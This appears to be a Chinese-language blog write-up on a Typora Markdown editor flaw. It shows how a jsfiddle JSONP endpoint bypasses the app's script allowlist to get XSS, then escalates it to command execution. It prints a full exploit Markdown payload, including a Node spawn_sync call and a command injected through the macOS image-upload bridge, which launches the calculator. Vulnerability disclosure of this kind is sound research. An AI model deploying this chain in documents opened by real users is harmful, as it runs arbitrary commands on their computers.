Typora XSS to Code Execution

寫完前一篇 HackMD XSS 後,突然想到去年也有發現過一個有點類似的(但是是簡單版的)洞,因此在這邊簡單記錄一下。

前言

在 2021 年底,之前一向愛用的 Markdown 編輯器 Typora 終於邁向了 1.0 正式版,也因此變成了付費制,於是因為某種不可告人的原因,我開始逆起了 Typora。雖然說是逆向,但其實就是讀一下壓縮過的 JavaScript 而已,但看著看著就發現一些怪怪的地方惹。

逆 & 洞

如果有人是用 macOS 版的話,主要的原始碼其實就在 /path/to/Typora.app/Contents/Resources/TypeMark/ ,直接過去就能看到了。

總之呢,在 appsrc/main.js 有一段這樣的程式碼,變數名稱已經大致還原過了:

var L = {
   gist: /^https:\/\/gist\.github\.com\/.*\.js/,
   jsfiddle: /^https:\/\/jsfiddle\.net\/[^\/]+\/embed(\?|\/|$)/
}, I = ["https://platform.twitter.com/widgets.js", "https://static.codepen.io/assets/embed/ei.js", "https://cssdeck.com/assets/js/embed.js", "https://www.instagram.com/embed.js", "https://s.imgur.com/min/embed.js", "https://speakerdeck.com/assets/embed.js"],
   embedIframeSrc = [ … ];

function isSafeScriptSrc(src) {
   return (src = /^\/\//.exec(src = src || "") ?
           "https:" + src :
           src.replace(/^http:/, "https:")),
           I.indexOf(src) > -1 || (!!L.gist.exec(src) || !!L.jsfiddle.exec(src))
}

簡單來說,它允許了部分外部 JavaScript 的載入。舉個例子,它希望能讓使用者在 markdown 內文中嵌入一則 Twitter 推文,因此允許了 https://platform.twitter.com/widgets.js ,但能嵌入 JavaScript 聽起來就蠻危險的,身為搞事仔很直覺的就會想來研究一下它的嵌入規則了。

其中變數 I 的算比較嚴格的,整個 script src 要完全符合它的白名單才行,但或許仍存在什麼 script gadget,我就暫時沒去研究了;至於變數 L 則使用 regex 比對而已,這給我們很大的繞過空間。

變數 L 目的是讓使用者能嵌入 GitHub Gist 以及 JSFiddle 的程式碼。其中 gist.github.com 據我了解沒什麼可用的點,上面雖然有 JSONP,但 callback 參數有嚴格限制;而 jsfiddle.net 我在他們的官方文件簡單搜尋後,很快就發現了存在一個給大家測試用的 JSONP endpoint:https://docs.jsfiddle.net/async-requests#jsonp

而這個 JSONP endpoint 的 callback 參數基本上沒什麼限制,所以用如下的網址就能弄出一個能執行任意 JavaScript 的 JSONP 了:

https://jsfiddle.net/echo/jsonp?callback=alert(1337);//

那當然還是要繞一下它的 regex 規則,但它的 regex 只要求路徑部分符合 /*/embed/* 的規則就行了,老樣子,我們可以用 ../ 不受限制地去嵌入整個 jsfiddle.net 網站的任意 JavaScript,所以像前面提及的那個 JSONP,用下面的這段 HTML(Markdown?)就能輕鬆生出一個 XSS 了。

<script src="https://jsfiddle.net/meow/embed/../../echo/jsonp
             ?callback=alert(1337);//">
</script>

任意程式碼執行

好,我們目前已經有一個 XSS 洞了,那既然是一個桌面程式嘛,XSS 是很有可能提升成 code execution 的,雖然網路上有揭露了很多 Typora XSS to RCE 的作法,但部分好像在新版本不太可行或根本不算有做到 code execution(例如只是把 Calculator.app 打開但不能控制任何東西 XD)。

順帶一提,我個人不太覺得這種能算 RCE,畢竟是在本機開文件所導致的程式碼執行,說是 LCE(Local Code Execution)比較恰當一點,但網路上的漏洞分析文都是寫 RCE,感覺怪怪的 🤔

Windows 的部分就是用 Electron 包的,因此 payload 就是經典的 Node.js 打法而已。

不過 macOS 比較特別的是它用了——呃,我其實不知道它用了什麼,總之不是 Electron,但是是用 WebView 套了一個 WebKit。這部分似乎就沒有 Node.js module 可以用了,不過因為部分特殊功能牽涉到 Browser 層面無法處理的東西,所以它有撰寫了一些 native bridge,其中上傳圖片的功能(image.upload)會直接執行到系統指令,因此直接操控那個 bridge 就有一個簡單的 command injection 可以用了!以下是跨平台的任意指令執行 Payload:

File.isWin ? process.binding('spawn_sync').spawn({
    file: 'cmd.exe',
    args: ['/k calc.exe'],
    cwd: null,
    windowsVerbatimArguments: false,
    detached: false,
    envPairs: Object.entries(process.env).map(env => env.join('=')),
    stdio: [{ type: 'ignore'},{ type: 'ignore'},{ type: 'ignore'}]
}) : bridge.callHandler("images.upload", {
    command: 'open "/System/Applications/Calculator.app"; exit;',
    file: ''
})

Calculator.app

照慣例來彈個計算機

完整 exploit:

<script src="https://jsfiddle.net/meow/embed/../../echo/jsonp?callback=top.eval(`File.isWin ? process.binding('spawn_sync').spawn({
    file: 'cmd.exe',
    args: ['/k calc.exe'],
    cwd: null,
    windowsVerbatimArguments: false,
    detached: false,
    envPairs: Object.entries(process.env).map(env => env.join('=')),
    stdio: [{ type: 'ignore'},{ type: 'ignore'},{ type: 'ignore'}]
}) : bridge.callHandler('images.upload', {
    command: 'open \\'/System/Applications/Calculator.app\\'; exit;',
    file: ''
})`); //">
</script>
exploit.md

後記

我曾經開了 issue 結果被刪掉ㄌ,明明其他人也是直接在 issue 發 XSS vulnerability 的⋯⋯現在只能靠 telegram 的預覽文字幫我做紀念 QQ

typora/typora-issues
Bugs, suggestions or free discussions about the minimal markdown editor — Typora - typora/typora-issues
Show Comments